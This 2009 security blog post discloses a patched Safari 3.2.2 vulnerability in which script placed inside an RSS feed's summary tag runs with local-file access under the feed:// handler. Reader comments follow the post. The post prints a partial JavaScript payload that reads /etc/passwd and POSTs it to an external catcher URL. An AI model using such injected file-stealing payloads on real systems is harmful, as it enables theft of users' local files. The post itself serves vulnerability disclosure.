Tuesday, June 9th, 2009

Safari 3.2.2 Feed Protocol Handler Issues

A few weeks ago, Apple released a patch for their Safari browser.  The patch included a fix for a RSS feed handling vulnerability I had reported to them a while back.  The advisory can be found here.  This particular vulnerability is actually a variation of a previous RSS feed handling vulnerability I had reported to Apple earlier in the year.  The details of the original vulnerability can be found here.  Once PoC for the original bug was made public, a researcher named Alfredo Melloni contacted me about some additional weaknesses in Safari’s feed handling.  Here’s what we ended up with:

Safari can consume various RSS feeds for video content and music from iTunes.  These RSS feeds contained information for each item on iTunes  including ID, title, summary, and links to download the content.  The RSS feed file looked something like this:

<?xml version=”1.0″ encoding=”utf-8″?>

<title>No Exit – Battlestar Galactica (&#39;04)</title>
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.</summary>
<im:name>No Exit</im:name>
<link rel=”alternate” type=”text/html” href=”http://www.google.com” />
<im:contentType term=”TV Show” label=”TV Show”><im:contentType term=”TV Episode” label=”TV Episode”/></im:contentType>
<category term=”Sci Fi &amp; Fantasy” scheme=”scheme”/>


Safari has some routines to sanitize and encode data in order to prevent the execution of user controlled JavaScript under the feed:// protocol handler.  As you may remember from my previous post, JavaScript executed under the feed protocol handler is privileged and is granted access to the local file system.   Alfredo discovered a way to bypass the built in filters for the feed protocol handler, allowing us to inject user controlled JavaScript.  The specific issue here involves the attacker controlled content provided to the “Summary” tags within the RSS feed file.  It seems that the content provided to the summary tag was missed by the encoding routines built into Safari.  We simply place Script tags within the summary tags and serve the file from our own server.

<title>No Exit – Battlestar Galactica (&#39;04)</title>
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.<script>alert(1)</script></summary>
<im:name>No Exit</im:name>

Which is converted to HTML by Safari and rendered under feed://  as:

<div class=”apple-rss-author” title=”iTunes Store”>iTunes Store</div>

<div class=”apple-rss-summary” >On the Cylon baseship, Cavil confronts the last member of the Final Five.<script>alert(1)</script></div>

<div class=”apple-rss-date” title=”Feb 16, 4:17 AM”>Feb 16, 4:17 AM</div>

Since alert boxes are lame, below is a payload to steal the /etc/passwd file from a Mac running vulnerable versions of Safari (<3.2.2):

<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.
var contents;
var req;
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open(‘GET’, ‘file:///etc/passwd’, true);

function processReqChange() {
if (req.readyState == 4) {
contents = req.responseText;
function sendit2XSSniper(stuff){
var req2;
req2 = new XMLHttpRequest();
req2.open(‘POST’, ‘http://xs-sniper.com/sniperscope/catcher.php’, true);

This flaw affected Safari 3.2.2 and certain versions of Safari 4 Beta.  Both Windows and Mac systems were affected.  Proof of concept can be found here (PoC, displays /etc/passwd or boot.ini in an alert box).  On Windows systems, the encoding and sanitization routines for feed:// are held in pubsub.dll :)  Happy hunting!


Posted by xssniper | Filed in Security

4 Responses to “Safari 3.2.2 Feed Protocol Handler Issues”

  1. July 2nd, 2009 at 1:30 am

    Lowan said:

    Same on mshtml :).
    You can see it by example with RssReader who display your alert =).


  2. July 2nd, 2009 at 11:48 am

    Brian Mastenbrook said:

    I couldn’t find an obvious contact email on your site, but I thought I’d drop you a line in a comment to provide a little more information about an issue that Apple fixed in the 2009-001 update, in case you’re interested. The issue I reported was mentioned as part of the same advisory as the one you wrote about in “Stealing More Files with Safari”, and the impact was the same, but the mechanism I used was a little different. Prior to the 2009-001 update, Safari rendered any content returned with a 404 or other error-status page in a feed:// handler as if it was in the local content zone.

    I’m not surprised that a slight variant of the original issue remained unfixed, either. I think I’m on round 4 of trying to fix ‘help:’ URL vulnerabilities in OS X with them. It’s become very clear that their approach to security is driven by “image management” much more so than any sort of thorough procedure.

  3. September 21st, 2009 at 10:47 am

    Security: Script Injection in Safari 3.2.2 « Nitin Katkam said:

    […] A blog post from a couple of months ago by Billy Rios mentions about a security bug affecting Safari 3.2.2. Although Safari checks content for the presence of SCRIPT tags within the markup, they somehow forgot to do that for the summary attribute of a feed. As scripts present within the content of a document with a feed URI scheme run with elevated privileges, it is possible to inject a script that can retrieve a document stored on the user’s hard drive and upload it to a web server. For a code snippet of how this can be performed, go to the blog article by Billy Rios. […]

  4. October 16th, 2009 at 7:28 pm

    Ur Face said:

    Dude, Safari sucks. IE is the shite!!!!!

    GO IE!

    Plus, Apple is about to be the most pwnd OS per capita.

Please leave a Comment